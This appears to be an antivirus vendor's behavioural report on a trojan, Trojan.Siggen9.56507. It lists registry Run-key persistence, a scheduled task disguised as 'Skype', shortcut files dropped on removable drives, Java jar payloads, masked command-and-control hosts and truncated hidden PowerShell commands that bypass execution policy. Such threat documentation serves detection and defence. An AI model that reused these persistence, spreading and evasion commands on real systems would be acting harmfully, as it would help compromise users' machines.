Trojan.Siggen9.56507

Technical Information

To ensure autorun and distribution

Modifies the following registry keys

[<HKCU>\software\microsoft\windows\currentversion\run] 'STTewQQXWb' = 'wscript.exe //B "%APPDATA%\STTewQQXWb.vbs"'
[<HKLM>\software\microsoft\windows\currentversion\run] 'STTewQQXWb' = 'wscript.exe //B "%APPDATA%\STTewQQXWb.vbs"'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'ntfsmgr' = '"%ProgramFiles%\Java\jre1.8.0_45\bin\javaw.exe" -jar "%APPDATA%\ntfsmgr.jar"'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'ntfsmgr' = '"%ProgramFiles%\Java\jre1.8.0_45\bin\javaw.exe" -jar "%APPDATA%\ntfsmgr.jar"'
[<HKCU>\Software\Microsoft\Windows\CurrentVersion\Run] 'plugins' = '"%ProgramFiles%\Java\jre1.8.0_45\bin\javaw.exe" -jar "%APPDATA%\plugins.jar" mp'
[<HKLM>\Software\Microsoft\Windows\CurrentVersion\Run] 'plugins' = '"%ProgramFiles%\Java\jre1.8.0_45\bin\javaw.exe" -jar "%APPDATA%\plugins.jar" mp'

Creates or modifies the following files

%APPDATA%\microsoft\windows\start menu\programs\startup\sttewqqxwb.vbs
%APPDATA%\microsoft\windows\start menu\programs\startup\ntfsmgr.jar
<SYSTEM32>\tasks\skype

Creates the following files on removable media

<Drive name for removable media>:\sttewqqxwb.vbs
<Drive name for removable media>:\roozenedowebinar.lnk
<Drive name for removable media>:\waterresourcesag.lnk
<Drive name for removable media>:\hypothyroidism_slides.lnk
<Drive name for removable media>:\mappingconcepthubberlin.lnk
<Drive name for removable media>:\sacs_presentation_sacs_qep_improving_rt_education_final.lnk
<Drive name for removable media>:\sim_gametheory_to_finance.lnk
<Drive name for removable media>:\arrow-down.lnk
<Drive name for removable media>:\background.lnk
<Drive name for removable media>:\cbz.lnk
<Drive name for removable media>:\dissolveanother.lnk
<Drive name for removable media>:\irgeek.lnk
<Drive name for removable media>:\hhhlcert.lnk
<Drive name for removable media>:\server.lnk
<Drive name for removable media>:\investmentbankca_ca8.lnk
<Drive name for removable media>:\lom602.lnk
<Drive name for removable media>:\2015-02-patients-topic-work-related-asthma-jobs.lnk
<Drive name for removable media>:\7790_preview.lnk
<Drive name for removable media>:\dualectls.lnk
<Drive name for removable media>:\spib_pima.lnk
<Drive name for removable media>:\ff_ot_user_guide.lnk
<Drive name for removable media>:\video.lnk
<Drive name for removable media>:\stoc13_ml_quoc_le.lnk
<Drive name for removable media>:\taxus_baccata.lnk
<Drive name for removable media>:\price.lnk
<Drive name for removable media>:\swc_2009-03-02.lnk
<Drive name for removable media>:\1sm_price.lnk
<Drive name for removable media>:\fiche_inscription_2015.lnk
<Drive name for removable media>:\calculatorworksheet.lnk
<Drive name for removable media>:\al.lnk
<Drive name for removable media>:\2013_finalsummaryforweb.lnk
<Drive name for removable media>:\2013_smccc_competition_points_jul2013.lnk
<Drive name for removable media>:\national_autism_preparation_programs.lnk
<Drive name for removable media>:\subjectclassification.lnk
<Drive name for removable media>:\excel_example.lnk
<Drive name for removable media>:\price030215.lnk
<Drive name for removable media>:\productos.lnk
<Drive name for removable media>:\contractualdeadlines.lnk
<Drive name for removable media>:\babyboymaintoscenesbackground.lnk
<Drive name for removable media>:\waterlandhealthkano.lnk
<Drive name for removable media>:\pubnet_855.lnk
<Drive name for removable media>:\router_manual.lnk
<Drive name for removable media>:\foaf.lnk
<Drive name for removable media>:\digest.lnk
<Drive name for removable media>:\sioc.lnk
<Drive name for removable media>:\elvisimp.lnk
<Drive name for removable media>:\20140114.lnk
<Drive name for removable media>:\clip_480_5sec_6mbps_h264.lnk
<Drive name for removable media>:\indogerman2010.lnk
<Drive name for removable media>:\51.lnk
<Drive name for removable media>:\aoc_saq_d_v3_merchant.lnk
<Drive name for removable media>:\ovp25012015.lnk
<Drive name for removable media>:\508softwareandos.lnk
<Drive name for removable media>:\cveuropeo.lnk
<Drive name for removable media>:\applicantform_en.lnk
<Drive name for removable media>:\february_catalogue__2015.lnk
<Drive name for removable media>:\hanni_umami_chapter.lnk
<Drive name for removable media>:\contoso.lnk
<Drive name for removable media>:\sdksampleunprivdeveloper.lnk
<Drive name for removable media>:\contosoroot.lnk
<Drive name for removable media>:\contosoroot_1.lnk
<Drive name for removable media>:\sdksampleprivdeveloper.lnk
<Drive name for removable media>:\testcertificate.lnk
<Drive name for removable media>:\dashborder_144.lnk
<Drive name for removable media>:\tileimage.lnk
<Drive name for removable media>:\toolbar.lnk
<Drive name for removable media>:\dial.lnk
<Drive name for removable media>:\dialmap.lnk
<Drive name for removable media>:\000814251_video_01.lnk
<Drive name for removable media>:\delete.lnk
<Drive name for removable media>:\split.lnk
<Drive name for removable media>:\join.lnk
<Drive name for removable media>:\holycrosschurchinstructions.lnk
<Drive name for removable media>:\adhd_and_obesity.lnk
<Drive name for removable media>:\dag2_panel1_320_ref.lnk
<Drive name for removable media>:\file_p_00000000_1371597592.lnk
<Drive name for removable media>:\region-north-karelia.lnk
<Drive name for removable media>:\4f0bf7ff71f28.lnk
<Drive name for removable media>:\2.lnk
<Drive name for removable media>:\3.lnk
<Drive name for removable media>:\210252809.lnk
<Drive name for removable media>:\1189.lnk
<Drive name for removable media>:\13.lnk
<Drive name for removable media>:\168.lnk
<Drive name for removable media>:\parnas_01.lnk
<Drive name for removable media>:\adadsi.lnk
<Drive name for removable media>:\api-hashmap.lnk
<Drive name for removable media>:\howto-index.lnk
<Drive name for removable media>:\iisstart.lnk
<Drive name for removable media>:\browse.lnk
<Drive name for removable media>:\64bit_notes.lnk
<Drive name for removable media>:\ituneshelpunavailable.lnk
<Drive name for removable media>:\trivial-merge.lnk
<Drive name for removable media>:\about.lnk
<Drive name for removable media>:\calc.lnk
<Drive name for removable media>:\tcm851ax32.lnk
<Drive name for removable media>:\wrar520.lnk
<Drive name for removable media>:\firefly1.lnk
<Drive name for removable media>:\removedtitles_records.lnk

Modifies file system

Creates the following files

%APPDATA%\sttewqqxwb.vbs
%TEMP%\jna-3599307\jna1684101881858258637.dll
%PROGRAMDATA%\microsoft\windows\start menu\programs\startup\ntfsmgr.jar
%APPDATA%\lib\system-hook-3.5.jar
%APPDATA%\lib\sqlite-jdbc-3.14.2.1.jar
%APPDATA%\lib\jna-platform-5.5.0.jar
%APPDATA%\lib\jna-5.5.0.jar
%APPDATA%\plugins.jar
%TEMP%\jna-3599307\jna3217761593115395995.dll
%HOMEPATH%\lib\system-hook-3.5.jard
%HOMEPATH%\lib\sqlite-jdbc-3.14.2.1.jard
%HOMEPATH%\lib\jna-platform-5.5.0.jard
%HOMEPATH%\lib\jna-5.5.0.jard
%TEMP%\output.txt
%APPDATA%\ntfsmgr.jar
%HOMEPATH%\ntfsmgr.jar
%TEMP%\jna-3599307\jna9178907351625089935.dll

Sets the 'hidden' attribute to the following files

<Drive name for removable media>:\sttewqqxwb.vbs

Deletes the following files

%TEMP%\jna-3599307\jna3217761593115395995.dll
%TEMP%\jna-3599307\jna1684101881858258637.dll
%TEMP%\jna-3599307\jna9178907351625089935.dll

Moves the following files

from %HOMEPATH%\lib\jna-5.5.0.jard to %HOMEPATH%\lib\jna-5.5.0.jar
from %HOMEPATH%\lib\jna-platform-5.5.0.jard to %HOMEPATH%\lib\jna-platform-5.5.0.jar
from %HOMEPATH%\lib\system-hook-3.5.jard to %HOMEPATH%\lib\system-hook-3.5.jar
from %HOMEPATH%\lib\sqlite-jdbc-3.14.2.1.jard to %HOMEPATH%\lib\sqlite-jdbc-3.14.2.1.jar

Network activity

TCP

HTTP GET requests

http://jb###st.live/strigoi/server/?hw###############
http://jb###st.live/cgi-sys/suspendedpage.cgi?hw###############
http://pa###bin.com/raw/JuN7DATb

HTTP POST requests

http://pl######v2.duckdns.org:8899/is-ready via pl#####rv2.duckdns.org

're###.maven.org':443

'gi##ub.com':443

'gi#############on-release-asset-2e65be.s3.amazonaws.com':443

UDP

DNS ASK pl#####rv2.duckdns.org
DNS ASK re###.maven.org
DNS ASK gi##ub.com
DNS ASK gi#############on-release-asset-2e65be.s3.amazonaws.com
DNS ASK st###aster.pw
DNS ASK jb###st.live
DNS ASK mi#####ft.publicvm.com
DNS ASK pa###bin.com

Miscellaneous

Creates and executes the following

'<SYSTEM32>\wscript.exe' "%APPDATA%\STTewQQXWb.vbs"
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -Command "$deleBravo = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'turK3y').turK3y;$deleBravo=$deleBravo.replace('%!','m');$Abt = [Con...' (with hidden window)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -Command "$deleBravo = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'turK3y').turK3y;$deleBravo=$deleBravo.replace('%!','A');$Abt = [Con...' (with hidden window)
'<SYSTEM32>\cmd.exe' /c "%ProgramFiles%\Java\jre1.8.0_45\bin\javaw.exe" -version 2> %TEMP%\output.txt' (with hidden window)

Executes the following

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -Command "$deleBravo = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'turK3y').turK3y;$deleBravo=$deleBravo.replace('%!','m');$Abt = [Con...
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -Command "$deleBravo = (get-itemproperty -path 'HKCU:\SOFTWARE\Microsoft\' -name 'turK3y').turK3y;$deleBravo=$deleBravo.replace('%!','A');$Abt = [Con...
'<SYSTEM32>\cmd.exe' /c "%ProgramFiles%\Java\jre1.8.0_45\bin\javaw.exe" -version 2> %TEMP%\output.txt
'%ProgramFiles%\java\jre1.8.0_45\bin\javaw.exe' -version
'%ProgramFiles%\java\jre1.8.0_45\bin\javaw.exe' -jar "%APPDATA%\ntfsmgr.jar"
'<SYSTEM32>\rundll32.exe' <SYSTEM32>\FirewallControlPanel.dll,ShowNotificationDialog /configure /ETOnly 0 /OnProfiles 6 /OtherAllowed 0 /OtherBlocked 0 /OtherEdgeAllowed 0 /NewBlocked 4 "%ProgramFiles%\java\jre1.8.0_45\...
'%ProgramFiles%\java\jre1.8.0_45\bin\java.exe' -jar "%HOMEPATH%\ntfsmgr.jar"
'<SYSTEM32>\cmd.exe' /c schtasks /create /sc minute /mo 30 /tn Skype /tr "%APPDATA%\ntfsmgr.jar"
'%ProgramFiles%\java\jre1.8.0_45\bin\java.exe' -jar "%APPDATA%\ntfsmgr.jar"
'<SYSTEM32>\schtasks.exe' /create /sc minute /mo 30 /tn Skype /tr "%APPDATA%\ntfsmgr.jar"
'%ProgramFiles%\java\jre1.8.0_45\bin\java.exe' -jar "%APPDATA%\plugins.jar" mp

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